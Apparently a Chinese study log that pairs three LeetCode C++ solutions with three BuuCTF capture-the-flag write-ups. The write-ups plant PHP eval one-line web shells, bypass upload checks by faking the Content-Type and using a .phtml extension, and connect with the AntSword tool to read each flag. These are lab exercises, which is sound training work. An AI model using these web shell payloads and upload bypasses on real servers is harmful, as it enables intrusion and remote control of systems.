20240218

LeetCode

多数元素

找出给定整数数组中的主要元素。

函数接收一个整数数组nums作为参数。首先获取数组的长度s,然后对数组进行排序。由于主要元素是出现次数超过数组长度一半的元素,因此排序后数组的中间元素一定是主要元素。所以函数返回排序后数组的中间元素nums[s/2]。整个函数的时间复杂度取决于排序算法的复杂度,一般情况下为O(nlogn),其中n为数组nums的长度。

1
2
3
4
5
6
7
8
class Solution {
public:
int majorityElement(vector<int>& nums) {
int s=nums.size();
sort(nums.begin(),nums.end());
return nums[s/2];
}
};
2的幂

判断一个数是否为2的幂。

函数中首先将输入的整数n赋值给变量m,然后进行循环判断。在循环中,如果m为0,则返回false;如果m能被2整除或者等于1,则将m除以2继续循环;否则返回false。最后返回true。该函数的时间复杂度取决于输入的整数n的大小,最坏情况下为O(logn)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Solution {
public:
bool isPowerOfTwo(int n) {
int m=n;
if(n==0) return false;
while(m!=0)
{
if(m%2==0 || m==1)
{
m=m/2;
continue;
}
else return false;
}
return true;
}
};
有效的字母异同位

判断两个字符串是否为异位词。

函数中首先定义了两个长度为26的数组s1和s2,用于记录字符串s和t中各个字符出现的次数。然后分别遍历字符串s和t,统计每个字符出现的次数,并存储在对应的数组中。最后比较两个数组中每个位置上的值,如果有不同的情况则返回false,否则返回true。整个函数的时间复杂度为O(n),其中n为字符串s和t的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution {
public:
bool isAnagram(string s, string t) {
int s1[26]={0},s2[26]={0};
int n1=s.length(),n2=t.length();
int i=0;
for(i=0;i<n1;i++)
{
s1[s[i]-'a']++;
}
for(i=0;i<n2;i++)
{
s2[t[i]-'a']++;
}
for(i=0;i<26;i++)
{
if(s1[i]!=s2[i]) return false;
}
return true;
}
};

BuuCTF

12、Knife

使用蚁剑,安装教程渗透工具:蚁剑教学 (安装+入门) - 知乎 (zhihu.com)

构造payload:/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据

URL地址为:http://1c5dc4d2-1605-4b89-99ba-90068b6d2182.node4.buuoj.cn:81/index.php

密码为:Syc

image

测试连接,连接成功,再点击添加

image

右键单击,选择文件管理

image

查看根目录,发现有个flag

image

双击查看,得到flag

image

1
flag{1248bbb7-c099-4589-a699-63d87c2ec2d3}
13、Upload

创建一个木马文件

可绕过的后缀名检测:php,php3,php4,php5,phtml.pht

image

上传该文件,显示Not image!

image

image

抓包,修改Content-Type的内容为 image/jpeg,send,查看文件名后缀应为.phtml

image

使用蚁剑

URL地址为:/upload/a.phtml

连接密码为:a

测试连接,连接成功后添加

image

image

右键单击,文件管理,查看根目录,找到flag

image

双击查看flag

image

1
flag{34c3fd89-3b0b-450b-9953-287122b67247}
14、Upload

上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg

image

抓包,显示上传成功

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/394659692a460258b45a99f1424ea357.jpg

连接密码为:a

尝试一下,测试连接显示返回数据为空

image

尝试修改后缀名为.phtml

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

连接密码为:a

测试连接,连接成功 后添加

image

image

右键单击,文件管理

在根目录中找到flag

image

双击查看flag

image

1
flag{8337ba06-02fe-47b4-8563-e341d08b19fe}